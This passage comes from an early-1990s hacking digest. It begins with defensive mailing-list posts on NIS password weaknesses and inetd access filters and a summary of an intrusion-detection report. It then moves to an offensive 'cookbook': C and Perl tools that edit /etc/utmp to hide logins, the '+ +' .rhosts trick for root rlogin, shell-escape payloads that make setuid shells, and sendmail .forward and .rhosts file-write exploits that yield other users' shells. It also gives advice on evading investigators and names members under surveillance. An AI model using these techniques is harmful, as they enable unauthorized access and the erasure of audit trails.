   password program. Using a premptive check on passwords for idiotic
   usage is a good idea anyway, independent of whether you use NIS or
   not.  If you have Suns and you'd rather spend money than install
   free software, Sun Shield (TM) also provides this capability, along
   with other more or less useful things.  Convex provides some similar
   capabilities in their passwd(1) program.  Some other manufacturers
   may also have similar capabilities. The more sites that do this, the more
   frustrating it will become for crackers trying to guess passwords.
Note that this problem is common to all versions of NIS or Yellow Pages,
that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0,
but it seems that this will be a little while coming, and for non-Sun
machines even further off.
Using NIS in combination with Sun's so-called `C2' security will *not* help.
For those not aware of current technology in password guessing programs,
Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against
a U*ix encrypted password on any modern RISC workstation. This means that
an encrypted password can be checked against the entire /usr/dict/words
in less than a minute. "Crack" has been posted to the network, and you
can assume that most crackers and wannabe's have a copy.
PS: Sorry, I will not respond to requests for more details about how to
    exploit this hole. Sun and CERT have full details. If you have a Sun
    s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId
    was 1036869. Please contact Sun if you feel you need more details.
You might look at in.src a program provided by CIAC to do just what
you ask.  You can get it by anon ftp from
 in.gate ftp site
Seems as if the cat is out of the bag (before I was really ready :-),
in.gate is available by anonymous ftp from:
Directory: pub/in.gate
--John Pochmara
P.S. the only different between 1.01 and 1.0 is some
     documentation changes.
We also have a modified version of the inetd available as a source patch to
the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support
rpc services, I would however be happy to update it when I can obtain an
inetd with rpc.
The server reads a configuration file containing lines of the form:        finger/tcp, talk/udp             smtp/tcp
Where the first component contains a host name (in DNS format) or a partial
domain specification (such as This has the advantage of allowing
services to be permitted on domain/administrative boundaries rather than on
physical ip addresses.
Development is still under way, but the initial implementation has proved
useful and is used to filter most of our incoming services.
The daemon also logs all incoming service requests indicating the source IP
address of denied service requests.
I can send the source patch to any interested parties.
Dave Ferbrache
Defence Research Agency
St Andrews Road
Great Malvern
+44 684 895986
A version of the tcp-log program which offers the possibility of starting
different services, depending on who calls, or of giving an appropriate
error string while rejecting connections is available for ftp from as "Exports/"
Otherwise the functionality seems simmilar to in.gated described elsewhere
on this list.
I hope you find it useful.
I showed some of this discussion to my friend Roland McGrath, of FSF
who said, "I did one of those."  So I asked him for a copy.  He sent
me a shar file prefaced by a few comments which I extract from:
Here is a shar of the source to my inetd.  It is a modified version of the
4.4 inetd.  I got the original Berkeley sources from  Systems
which have a real setsid call should not use setsid.c, which I wrote to
emulate setsid on 4.3BSD.
I am actively maintaining this program, and am interested in bug reports.
However, I'm maintaining only for the purpose of the FSF's use of it, and
am not particularly interested in new features that will not be of use to
us (I'll listen to suggestions, though).
There is no documentation.  You can get the BSD inetd manpage from uunet.
My changes to their version are:
* Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4
  running sunos4.1.
* Added sunrpc support.  Easily commented out for systems without sunrpc.
  mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc
  services in /etc/inetd.conf.  My version understands both syntaxes.
* Added security support; new configuration file /etc/inetd.sec.
  Based on the feature of HPUX's inetd (you can look at their documentation
  if you have an HP machine handy, or log in to one of ours to look), but
  not quite the same.  Basically, /etc/inetd.sec contains lines like:
telnet deny
ftp deny *
login allow
shell allow 128.52.46
telnet rejections /bin/echo echo We do not like you.
This says: Allow telnet connections from anywhere except; allow ftp connections from anywhere except
anything matching * (that's a shell glob pattern);
allow rlogin only from; allow rsh only from things on
subnet 128.52.46; when tries to make a telnet
connection, echo is run in place of telnetd.
There can be as many allow/deny lines as you like.  Each line can have as
many names or nets as you like, separated by whitespace and/or commas.  The
restrictions build, so "allow *" followed by "deny 18" will allow
things in unless they're on net 18.  If the first thing is a deny,
then calling hosts that don't match any allow or deny lines are allowed; if
the first thing is an allow, then unmatched hosts are denied.  The
rejections lines give daemon program and args just like lines in
/etc/inetd.conf do.
I didn't include a makefile because the one I use is GNU make-specific and
refers to pathnames on my machine which don't make sense elsewhere.
---------------end of Roland's comments --------
This was followed by 2000 lines of shar.  The shar file is available via
anonymous ftp from (  The file's name is

Date: Thu, 13 Feb 92 10:41:08 -0700

Section Name                         chapter.sec.version        00/00/00                               1.14.0                02/13/92
Summary of the Trusted Information Systems (TIS) Report on Intrusion 
Detection Systems - prepared by Victor H. Marshall
                        January 29, 1991
1.  EXECUTIVE SUMMARY.  Computer system security officials
typically have very few, if any, good automated tools to gather
and process auditing information on potential computer system
intruders.  It is most challenging to determine just what actions
constitute potential intrusion in a complex mainframe computer
environment.  Trusted Information Systems (TIS), Inc. recently
completed a survey to determine what auditing tools are available
and what further research is needed to develop automated systems
that will reliably detect intruders on mainframe computer
systems.  Their report #348 was done for the Air Force and
includes details on nine specific software tools for intrusion
2.  BACKGROUND.  Computer security officials at the system level
have always had a challenging task when it comes to day-to-day
mainframe auditing.  Typically the auditing options/features are
limited by the mainframe operating system and other system
software provided by the hardware vendor.  Also, since security
auditing is a logical subset of management auditing, some of the
available auditing options/features may be of little value to
computer security officials.  Finally, the relevant auditing
information is probably far too voluminous to process manually
and the availability of automated data reduction/analysis tools
is very limited.  Typically, 95% of the audit data is of no
security significance.  The trick is determining which 95% to
3.  SPECIAL TOOLS NEEDED.  A partial solution to this problem
could be to procure or develop special automated tools for doing
security auditing.  For example, in the IBM mainframe
environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET
are commonly used to control data access and programs such as CA-
EXAMINE are used to supplement standard systems auditing. 
Nevertheless, most of these generally-available software systems
do not comprehensively address the problem of intrusion
detection.  In fact, intrusion detection is one of the most
challenging (security) auditing functions.  There are, in fact,
few existing systems designed to do this, and they must be
tailored to specific operating systems.  Also, they do not
generally gather auditing information on activities within
database management systems or application software.  Much
research and development needs to be done before intrusion
detection will be generally available.
4.  REPORT AVAILABLE.  In the meantime, however, it would be wise
to stay abreast of the state-of-the-art in automated auditing
tools for helping security managers detect intruders.  TIS, Inc.
recently completed a very comprehensive report on the tools
currently available for intrusion detection and the recommended
directions for future research.  TIS report #348 is entitled
"Computer System Intrusion Detection, E002: Final Technical
Report" and is dated September 11, 1990.  It was done under
contract to the Rome Air Development Center at Griffiss Air Force
Base in New York.  TIS report #348  comprehensively covers the
known intrusion detection techniques.  It also reviews the nine
comprehensive intrusion detection tools currently available or
under development.
     a.  Intrusion Detection Techniques.  Although intrusion
detection is normally accomplished using software tools, hardware
tools are potentially more secure because they cannot be easily
altered.  In either case, intrusion detection requires that
security-related auditing data be collected, stored, and
          (1)  Data Collection.  Specific events or sequences of
events must be defined as important enough to cause generation of
an audit record.  Potentially every event has security
significance, but logging the details of every event would
probably eliminate any hope of processing efficiency (or even
effectiveness).  Thus, someone must decide which events to log
and when.  Also, as noted earlier, the events logged tend to be
exclusively operating system events.  It would be useful to be
able to log some events internal to database management systems
and/or application systems.
          (2)  Data Storage.  Some auditing data can be processed
in real-time, but most of it will go to an audit log for later
review.  Security is concerned with the extent to which:
               -  The storage medium for the audit log is
                  READ-only and non-volatile,
               -  The computer system used to store the audit
                  log is connected/linked to the one from which
                  the auditing data was gathered, and
               -  The electronic (or manual) data paths are
          (3)  Data Analysis.  By far, the most difficult task is
to analyze the auditing data.  A comprehensive audit log will
certainly be too voluminous for reasonable human processing. 
Thus, the following techniques (in addition to other techniques)
must be used in some ethical/legal combination to reduce the
security-relevant audit data to meaningful conclusions:
               -  User Profiles
               -  Anomalies
               -  Historical Norms
               -  Trend Analyses
               -  Probable Scenarios
               -  Known System Flaws
               -  Threat Probabilities
               -  Simulated Intrusions
               -  Statistical Sampling
               -  Expert System Rules
               -  ArtificIal Intelligence
               -  Hierarchies of Concern (Levels of Security)
               -  Heuristics
               -  Neural Networking
          (4)  User Interface.  Finally, the data analysis
process should have a "friendly" user (i.e., security manager)
interface that supports rapid learning, minimal frustration, and
effective results.
     b.  Nine Tools Reviewed.  The nine automated tools reviewed
in some depth in TIS report #348 are:
          (1)  ComputerWatch Audit Reduction Tool.  AT&T Bell
Laboratories developed ComputerWatch in 1989 to summarize their
internal audit files produced by System V/MLS, a version of UNIX. 
ComputerWatch could be used on other systems if the appropriate
changes were made to the format/filter module.
          (2)  Discovery.  TRW Information Systems Division
developed Discovery in 1986 to analyze access data from their
credit database housed in a dial-up network of IBM 3090s running
under the MVS operating system.  Because it is application-
specific, Discovery could not be easily implemented in other
environments.  However, Discovery does process auditing data
produced by IBM's standard System Management Facility (SMF).
          (3)  Haystack.  Haystack was developed by Haystack
Laboratories, Inc. for the Air Force Cryptologic Support Center
in 1988 to analyze data from Unisys 1100/2200 mainframes running
under the OS/1100 operating system.  The actual analysis is done
on a personal computer (such as the Zenith Z-248) running under
MS-DOS.  Haystack could not be easily implemented in other
          (4)  Intrusion-Detection Expert System (IDES).  The
IDES model was developed by SRI International in 1985 and has
been implemented on Sun workstations as a research prototype
under a contract with the U.S. Navy (SPAWAR).  A version of IDES
for IBM mainframes (using the MVS operating system) will soon be
implemented under a contract with the Federal Bureau of
Investigation (FBI).  IDES is designed to be easily implemented
in many different environments.  The IDES model has been the
basis for most intrusion detection research to date and it forms
the conceptual basis for Haystack, MIDAS, and W&S.  (NOTE: 
Haystack was covered above.  MIDAS and W&S are covered below.)
          (5)  Information Security Officer's Assistant (ISOA). 
ISOA is an R&D prototype system developed by Planning Research
Corporation (PRC) in 1989 to analyze data from two types of
system - the UNIX SunOS and the IBM AT Xenix.  The actual
analysis is done on a Sun 3/260 color workstation.  ISOA is table
driven, so it can easily be used to monitor many different
          (6)  Multics Intrusion Detection and Alerting System
(MIDAS).  MIDAS was developed by the National Security Agency's
(NSA's) National Computer Security Center (NCSC) in 1988 to
analyze data from a Honeywell DPS-8/70 computer running the
Multics operating system (in support of NSA's Dockmaster system). 
NCSC intends to further develop MIDAS so it can process audit
data from Sun and Apple systems.
          (7)  Network Anomaly Detection and Intrusion Reporter
(NADIR).  NADIR was developed by the Department of Energy"s Los
Alamos National Laboratory (LANL) in 1989 to analyze data from a
unique LANL Network Security Controller (NSC).  There are no
plans to modify NADIR for use in other systems.
          (8)  Network Security Monitor (NSM).  An NSM prototype
was recently developed by the University of California Davis
(UCD) and is currently running on a Sun 3/50.  NMS was designed
to analyze data from an Ethernet local area network (LAN) and the
hosts connected to it.  NSM is a research system, but UCD hopes
to eventually expand it's scope to include real environments,
real attacks, and perhaps wide area networks.
          (9)  W&S.  W&S is an anomaly detection system that has
been under development at LANL for the NCSC and DOE since 1984. 
W&S runs on a UNIX workstation and can analyze data from several
different systems.
     c.  More Research Needed.  The specific TIS recommendations
for further research include the following near-term (1 to 5
year) and long-term (over 5 year) recommendations.
          (1)  Near Term Recommendation.  The main near-term
recommendation is to develop and commercially market an audit
analysis "tool kit" flexible enough to meet the needs of a wide
variety of security users and of a very dynamic environment. 
This would require that, among other things, someone:
               -  Study the techniques for coordinating data from
                  multiple levels of system abstraction.
               -  Explore methods for integrating components of
                  existing intrusion detection systems into a
                  single prototype system.
               -  Study the uses of neural networks and how they
                  might be employed in audit analysis tools.
               -  Develop the initial design for a proof-of-
                  concept prototype to include a statistical tool
                  (to develop user profiles), an expert system
                  tool (to analyze the data based on predefined
                  and consistent rules), and a neural network
               -  Determine the typical level of security
                  expertise and perceived needs of a security
                  manager who will use these auditing tools.
               -  Test the prototype tool kit using real/live
                  penetration techniques and data.
          (2)  Long Term Recommendation.  The main long term
recommendation of TIS report #348 is that studies of the issues
surrounding intrusion detection technology be conducted.  These
issues include:
               -  Risk Management
               -  Advanced Tools
               -  Network Monitoring
               -  Distributed Processing (of Audit Data)
               -  Statistical Analysis
               -  Detection Sensitivity Analysis
               -  Collusion Among Computer Users
               -  Distributed Network Attacks
               -  Intrusion Response (Counterattack)
               -  Computer User Responses to Intrusion Detection
               -  Recognition (to Reduce False Positive
5.  TIS REPORT CONCLUSION.  TIS report #348 concludes that there
has been much good scientific study done on intrusion detection
technologies, but insufficient time has been spent:
     -  Analyzing precise user needs,
     -  Determining the most appropriate technologies to use in
        specific situations, and
     -  Cooperatively sharing the lessons learned from actual
                                   VICTOR H. MARSHALL
                                   Systems Assurance Team Leader
                                   Booz, Allen & Hamilton Inc.

Date: Thu, 13 Feb 92 10:42:04 -0700
Subject: utmp_ed.c

Section Name                         chapter.sec.version        00/00/00
utmp_ed.c                            toolbox.01.01              02/13/92
/* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ]
   made in Korea
   Ignor warnings...
   By kod's friend.. 'X' */
#include <utmp.h>
#include <fcntl.h>
#include <time.h>
        int fd, i = 0;
        char buff[100], tmp[100];
        struct utmp *ttt;
        ttt = (struct utmp *)buff;
        if ((fd = open("/etc/utmp",O_RDWR)) == 0)
        printf("File /etc/utmp opened.\n");
        while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) {
                printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name)
, &(ttt->ut_host), ctime(&(ttt->ut_time)));
        printf("what entry do you want to edit? = ");
        scanf("%d", &i);
        lseek(fd, (long)(i * sizeof(struct utmp)), 0);
        read(fd, buff, sizeof(struct utmp));
        printf("%s -> ", &(ttt->ut_line));
        strcpy(&(ttt->ut_line),"       ");
        scanf("%s", &(ttt->ut_line));
        printf("%s -> ", &(ttt->ut_name));
        strcpy(&(ttt->ut_name),"       ");
        scanf("%s", &(ttt->ut_name));
        printf("%s -> ", &(ttt->ut_host));
        strcpy(&(ttt->ut_host),"               ");
        scanf("%s", tmp);
        if (!strcmp(tmp,"null"))
                tmp[0] = 0;
        strcpy(&(ttt->ut_host), tmp);
        lseek(fd, (long)(i * sizeof(struct utmp)), 0);
        write(fd, buff, sizeof(struct utmp));
        printf("Thank you.\n");

Date: Sat, 15 Feb 92 10:35:43 -0700
Subject: rhosts.hole

rhosts.hole                               06.01.00              02/15/92
% ls -l .rhosts
.rhosts  1 -rw-rw-rw-  69  root Jun. 9, 1969
% cat >> .rhosts
+ +
% cat /.rhosts god
+ +
% rlogin -l root
Last login ... from ...
root# rm -rf .rhosts
root# cat > .rhosts god
Comments: I'm not sure, but I think one + will work too...  By
inserting the line '+ +' into an .rhosts file, one can gain access to
the account that uses that file from any account on any system provided that:
1) the account is capable of being logged into according to /etc/ttytab 
2) if the account is root, some systems may require a password for all root
logins.  If you put the '+ +' line in yourself, be sure to remove it when 
you're done.  One way to do this is to copy the .rhosts file to /tmp and then
copy it back.
Q's:  What does this do for hosts.equiv?

Date: Sat, 15 Feb 92 10:37:16 -0700
Subject: (revision)

==============================================================================                             toolbox.01.01              02/15/92
# This assumes your /etc/utmp file looks like ours
$unname = shift;
@mo = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);
while (read(UTMP,$utmp,36)) {
    ($line,$name,$host,$time) = unpack('A8A8A16l',$utmp);
    if ($name) {
$host = "($host)" if $host;
($sec,$min,$hour,$mday,$mon) = localtime($time);
printf "%-9s%-8s%s %2d %02d:%02d   %s\n",
if ($name eq $unname) {
    print UTMP pack('A8a8A16l', "","","",0);
Here's a perl script that removes entries from the /etc/utmp file provided 
1) the /etc/utmp file is world-writable or you are root (utmp is, by default,
world-writable on SunOS.)
usage: unwho <username> 
NOTE: you may have to edit the first line to match the path to perl.
Conceivably, you can use this script to remove yourself from utmp so that
you're invisible to programs which read /etc/utmp (like w, who, users).
NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still
show up to other users.


To join this group or have your thoughts in the next issue, please
send electronic mail to Tangent at the following address;


The views expressed in InfoHax Digest
are those of the individual authors only.

End of InfoHax Digest

***                                                                        ***
***                         unCERTain DIGEST #3                            ***
***                               2/23/92                                  ***
***                                                                        ***
  Well folks, we kicked all those phuckin lamers off the list and recruited
  Our current roster is:

           Gail T.                           Dan Farmer
           G Gordon Liddy                    Bob Morris
           Matt Bishop                       David A Curry
           Brad Powell                       Niel Gorsuch
           Ed DeHart                         Eugene Spafford
           Brian Kernighan                   Ellie Dee
           Dennis Ritchie                    Ken Thompson


                         *** Introduction ***
Several people still haven't contributed anything.  I can understand
that many of you are very busy and have little time to write.  If you can just
find 15-30 minutes to take a trick that you use or a hole that you've noticed
and do a writeup about it, that'd make us very happy.  After all, what's the
point of having people who don't contribute remain on the mailing list?  It's
just an added security risk.  If you don't contribute anything, you will be
in danger of being removed from the list.  I don't think it's too much to ask
to have everyone make at least one contribution.

This last weekend, some things happened concerning the security of
Infohax.  I'm not all that clear on the details, but I'll try my best to
outline what happened.  Someone on IRC was reported to have mentioned the
Infohax project.  He also claimed to have copies of the digest and said he had
given them to CERT. He didn't say anything specific about the project, so it's
possible that he just heard a name and is trying to scare someone.  Also,
a member's account was reported to have been seized with a copy of the digest
in his directory.  We don't know whether or not the authorities have copies of
the digest or not, but we're attempting to tighten security just in case.
Those who we feel haven't contributed anything to the project so far have been
removed until they do make a contribution.  They will be sent a notice
informing them of this fact.  Also, we've lost our listserv address at
XXXXXXXXXXXX because of the concerns of some people there.

In order to prevent anyone finding out about this project we ask the
1) Ideally, we ask that you keep copies of the digest offline or, if online,
    in an encrypted form.
2) Please don't mention the project to anyone unless they're already a member.
3) Non-contributors will be removed from the list.  People who don't
    contribute are just dead weight and add to the possibility of security
    leaks.  I can understand people being busy for periods of time, but please
    make an effort to contribute regularly.
4) The project name will change from time to time, too many mail spools are
    being grep'd.
5) No handles, names, or contact points will be mentioned in the digest.

Only with your help can we make this work.
A reminder:
  This project is not about anything illegal, we are trying to collect and
preserve group knowledge. It is NOT about applying it! What you do on your
own time is your own business. No part of this project concerns the breaking
of any laws or encouraging others to do so, it's about how it could be done.
  There we said it, considering the current 'weather', we felt we needed a
CYA type statement. We are NOT a hacking group, we collect, develope and
share knowledge and techniques. PERIOD!
Voting will be temporarily suspended until the security issues are
cleared up.  The list will remain at its current size until then.
TOC to date:           ch.sec.rev                            ch.sec.rev
1  welcome.hax         none           2  wtmp.hacker         01.12.01
2  welcome.hax2        none           2  rfc.authd.draft     01.13.00
3  intro.hax           none           2  son.of.IP           01.14.00
2  hole.list           hole.list.00   2         01.15.00
3  hole.list.2         hole.list.01   3  war.hax             01.16.00
1  sysadmin.comments   01.01.00       2  rdist.hole          06.00.00
1  frm.paper           01.02.00       2  rhosts.hole         06.01.00
1  frm.mentor.paper    01.03.00       1            cookbook.01.00
1         01.04.00       2  utmp_ed.c           cookbook.01.01
1  phone.trace.evsn    01.05.00       2       cookbook.01.02
1  BSD.accnt.files     01.06.00       3  smforwrd.c          cookbook.06.00
1   01.07.00       3  smwrite.c           cookbook.06.01
1  IP.tracing          01.08.00       3  smwiz.trk           cookbook.06.02
1  more.IP.tracing     01.09.00       3  smdebug.c           cookbook.06.03
1  rfc931              01.10.00       3  sploit.c            cookbook.06.04
1   01.11.00       3  at_race.c           cookbook.12.00
                                      3             cookbook.12.01
        oops...                       3  vmunix.c            cookbook.13.00
Now to the good part! :)
  intro.hax3      the usual blerb ...
  FYI             current 'intel' about the scene ...
  hole.list.2     CONTRIBUTE TO ME!, new holes, and sollutions welcome!
  war.hax         how a hacker caught someone snooping arround his accnt
  smforwrd.c      using sendmail to write to another users .rhosts files
  smwrite.c       sendmail write hole like above but different
  smwiz.trk       sendmail wiz - still works on a few systems...
  smdebug.c       sendmail debug trick, used by the internet worm
  sploit.c        simmilar to smforwrd.c but different
  at_race.c       at race contition to get root
  chfn.c          change finger info race condition to get root
  vmunix.c        kernel/tty reader
As a service to our members we will from time to time include current
security related info about people and sites.



Ninja Master:is rummered to have gotten into a car accident, and to have died.
  (there are also rummers that he didn't, anyway, no one has heard from him)
Feanor: has changed his handle to XXXXXXXXand is being watched by the cs
  dept at his school. do not send any mail to his address.
Dispater:is being watched by his cs dept, do not send any mail to his address
Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX
  any mail should be directed to one of the other addresses or her accnt
  at the old listserv site.
Albatross:is being watched, no safe address at this time, do not send mail to
Conflict: is being watched, no safe address at this time, do not send mail to
There may be some serveilence of the machine, but this is
  unclear at this time.

>Subject: pass the word...
>there's rumoredly a person sniffing all traffic on #hack ... you may
>want to have yourself and your friends hold off on serious chats at
>least for now, as this person is claiming to be dumping it to the FBI
>(either as its going on or in the future, it wasn't clear).
>Just so you know...

Not So Humble Babe and a few others were busted see the next phrack for
info. (these people were carding and into warez ...)

Alot of people have had DNR's on their lines in Cal - feds were after the
TRW hackers - few busts... (credit scam)

Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You
WILL be busted eventually if you don't. (also anything to do w/ money ...)

hole.list.2                      hole.list.01                       02/23/92


1. Do not allow usernames to contain any of the following characters ";~!`"
   (or any shell meta-charaters).  This allows setuid root programs that
   popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
   creates to either the Berkeley mailer or mailx.  All a user has to do
   to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

   That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
   escape to be executed if the line starts in column one of stdout while
   entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
   and file permissions or race conditions in the kernel that allow setuid
   programs to be exploited.  All non-standard setuid programs should be

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can
   break security relatively easily.  MIT's PROJECT ATHENA came up with
   Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid
   program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
   hole.  Setuid programs are normally honored.  This allows a person who
   has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

            the frame buffer devices on at least suns are world
            readable/writeable, which is at best annoying (when
            someone runs something strange on you) and at worst
            insecure (since someone can take a snapshot of your screen
            via screenload or whatnot)

        /dev/*st*, *mt*, etc (tape devices)
            generally world readable/writeable, bad since others can
            nuke your tapes, read your backups, etc.

        chfn, chsh
            used to create a root account

            will system dump a setgid core image? 

        domain name system      
            a sysadmin running the soa for a domain somewhere can
            create a bugs reverse address mapping table for one of his
            hosts that causes its IP address to have the domain name
            of a machine that my host has in its hosts.equiv file.  if
            i'm using the usual version of 'istrusted' (I think that's
            the routine's name), the address lookup reveals the name
            of the host to be one that my host trusts, and this other
            sysadmin can rlogin into my machine or rsh or whatnot at

            test for bad group test 

            can be used to change major/minor numbers on devices 

            hard .plan links - reading unreadable files readable by

            setuid, .plan links

            running as root

            buffer overrun 

        file mod test.
            test of file does not loose the setuid bit when modified

            static passwd struct overwrite 

            4.2 based bug, userid not reset properly, (after logging
                in enter comment "user root" and you are, last seen
                onder SunOS 3.3?). 

            overwrite stack somehow?

            default + entry

            istrusted routine - easy to spoof by bad SOA at remote
            site with hacked reverse address map.

            4.1bsd version had the password "hasta la vista" as a
            builtin trapdoor. (found in ultrix)

        lost+found, fsck 
            lost+found should be mode 700, else others might see
            private files.

            its possible to ovberwrite files with root authority with
            user level access locally or remotely if you have local
            root access 

            lpr -r access testing problem

            trusts utmp

            fgets use allows long entries which will be mangled into
            ::0:0::: entries

            also allows:
                        fred:...:...:...:Fred ....Flintstone::/bin/sh =>
                    which is a root entry with no password!

            fix - should skip to eol if it didn't read whole entry,
            should enforce buffer limits on text in file, don't use
            atoi (since atoi(/bin/sh) is 0). 

            allows other net entities to make bindings - may not be a
            "security hole", can lead to denial of service. 

            nobody problem 


            running as root, utmp world writeable, writes to files as
            well as devices in utmp dev fields. 

        rdist - buffer overflow 

            allowed remote access to files 

            debug option 

            wizard mode 

            TURN command 
                allows mail to be stolen

            decode mail alias - anyone can send mail to decode, write
            to any file onwed by daemon, if they can connect to
            sendmail daemon, can write to any file owned by any user.

            overflow input buffer 
                cause the sendmail deamon to lock up

            overwrite files 
                sendmail can be "tricked" into delivering mail
                into any file but those own my root.

            -oQ (different Q)
            fixed in newer versions

            mqueue must not be mode 777!

            what uid does |program run with?

            sendmail -bt -C/usr/spool/mail/user - in old versions,
            allows you to see all lines of the file.

        setuid bit handling
            setuid/setgid bit should be dropped if a file is modified

            fix: kernel changes

        setuid scripts
            there are several problems with setuid scripts.  is it
            worth writing tests for these?  some systems might have
            fixed some of the holes - does anyone know how one fixes
            these problems in a proactive fashion?

            IFS hole (used with vi, anything else?) 

            overwrite stack somehow?

            sequence number prediction makes host spoofing easier

            source routing make host spoofing easier

            rip allows one to capture traffic more easily

            various icmp attacks possible

            (I suspect a traceroute'd kernel will allow one to easily
            dump packets onto the ethernet)     

            allows one to grab random files (eg, /etc/passwd).
            fix - should do a chroot

            allows puts as well as gets, no chroot

            fix - don't run as root, use chroot, no puts, only if boot

            check to see if world writeable (if so, the data can't be
            trusted, although some programs are written as though they
            trust the data (comsat, rwalld)). 

            check if valid uucp accounts are in the /etc/ftpusers.  If
            the shell is uucico and passwd is valid make sure it is
            listed in ftpusers. 

            check to see that uucp accounts have shell: if left off,
            folks can do:

                cat >x
                myhost myname
                uucp x ~uucp/.rhosts
                rsh myhost -l uucp sh -i

            HDB nostrangers shell escape 

            HDB changing the owner of set uid/gid files 

            HDB meta escapes on the X command line 

            HDB ; breaks on the X line 

            if it is setuid, some versions will create setuid files

            accepts ypset from anyone (can create own ypserv and data,
            and ypset to it...) 

        ypserv spoofing
            send lots of bogus replies to a request for root's passwd
            entry, while doing something that would generate such a
            request [I'm pretty sure that this is possible, but
            haven't tried it.]

            * password means use root's password?

        AIX 2.2.1 
            shadow password file (/etc/security/passwd) world

            fix - chmod 600...

        386i login
            fix - nuke logintool, hack on login with adb, chmod 2750

        ultrix 3.0 login
            login -P progname allows one to run random programs as root.  
            fix - chmod 2750.

            if access access control is disabled any one can connect to
            a X display it is possible and create (forge) and/or
            intercept keystrokes.  

war.hax                       01.16.00                              02/23/92

                          :: Hacker War Stories ::


        Two years ago, during Operation Sundevil, I had a legitimate account
called "Phrack", at the university I attended.  I just called it that because,
I liked the name and the magazine.  I did correspond through e-mail with KL&TK,
and wrote a little bit for Phrack, but it wasn't like an official Phrack
mailing list.  However, this raised some suspicion my many people mearly
because of the address, "".  At my university there was a
faculty member that thought necessary to peer into my account, read my mail and
other things.  This is how I caught him.

        I told a friend, that was the administrator of the machine, I had
noticed some odd things going on with my account.  My password was not an
english word or a name or anything else that was easily cracked by a program
like Killer Cracker.  What we did was we did was created another account for me
to use while we monitored my "Phrack" account.  I used the newly created
account as I did my old one and told everyone I knew that the other account
was dead.  I also never accessed the "Phrack" account again.  As it turns out
the idiot was using root to get into my account and we quickly saw this in the
".history" file.  On my machine the ".history" file was world readable and
therefore I didn't have any problems seeing what he did from my new account.


        I'd like to point out that I have never been "busted" by the feds or
even reprimanded by my school for anything I did on their system.  I abused
the system for about four years with no one batting an eye.  I thought that
a friend of mine and myself were the only hackers on the system.  I didn't
feel the least bit paranoid. I felt too secure as it turns out, even though I
didn't get caught doing anything I got caught up in a hacker sweep that caused
a few problems for me.  My crime against humanity was this; I left two
passwords cracking programs in my directory that were found by the admins one

        One day the admin got scared when they noticed someone was running
*TWO* password cracking programs on two different accounts.  To this day, I
have no idea who this person was.  Anyway, they went on a hacker witch hunt and
decided that they should check all accounts for any "unethical software".
Needless to say I had a few things that matched that category, but I was just
storing them there, and NEVER ran anything like that on my account.  They could
even see this in their process accounting.  So, I got my account revoked
because I had things in my directory that the admins thought were "potentially

        I have never had any direct contact with the "net police" until
then. It was a real shock.  I had at this time, no idea that people were
interested in burying their heads in the sand about computer security.
I just figured that they "just didn't know" but would probably learn if someone
would teach them some things.  But instead, I learned that people just prefer
to get scared and hide from people that don't have a piece of paper that
says they know computer science.  I also learned a few other things:

1) Always be paranoid of the administrators. Never trust anyone that is an
   admin, unless you've known them for a really long time. (e.g.: since high
2) You are guilty until proven innocent.  Just because you aren't doing
   anything wrong doesn't mean you're innocent in the eyes of someone looking
   to place the blame.
3) You are generally not the only hacker on a system. Just because you are
   using precautions when you hack to cover your ass, doesn't mean that some
   other idiot won't fuck things up for you!
4) Always be paranoid.  Even if you have a legitimate account on a machine
   treat it like everybody in the world can see every move you make, because
   sometimes they do!  Don't get lazy and say, "well I'll download that
   tomorrow."  Tomorrow you could wake up with your account gone.
5) We live in a network police state.
smforwrd.c                      cookbook.06.00                       02/23/92

trick for sendmail 5.61
 * 1) set the #define UID, at the top of the program to be your's
 * 2) create a file: /tmp/.shell, which is a script to make a suid shell
 * 3) compile the program and name it say, /tmp/.magic
 * 4) create a .forward file containing: '|/tmp/.magic'
 * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
 *    you want a shell from (but not root :-( RATS!)
 * 6) wait abit, it usuallly works ...

#define UID 777   /* change to your uid */

#include <sys/param.h>
#include <sys/types.h>
#include <stdio.h>
#include <sysexits.h>
#include <pwd.h>
#include <grp.h>

#define SHELLFILE  "/tmp/.shell"

        int myuid, rval;

        if ((myuid = getuid()) == UID)
                rval = EX_TEMPFAIL;
        else {
                rval = EX_OK;

smwrite.c                      cookbook.06.01                       02/06/92
Using Sendmail to write files
Here is the output from a script(1) that shows how one can convince
sendmail to write to another users `.rhosts'.
     $ telnet smtp
     Trying ...
     Connected to
     Escape character is '^]'.
     220 Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08
     mail from: <>
     250 <>... Sender ok
     rcpt to: /etc/passwd
     554 /etc/passwd... Cannot mail directly to files
     rcpt to: /etc/passwd
     550 /etc/passwd... Addressee unknown
     354 Enter mail, end with "." on a line by itself
     250 Mail accepted
     mail from: joeuser
     554 /etc/passwd... Possible alias loop
     rcpt to: /usr/users/joeuser/.rhosts
     250 /usr/users/joeuser/.rhosts... Recipient ok
     503 Need MAIL command
     mail from: joeuser
     250 joeuser... Sender ok
     354 Enter mail, end with "." on a line by itself  hacker
     250 Mail accepted
     221 delivering mail
     Connection closed by foreign host.
     $ rsh -l joeuser sh -i

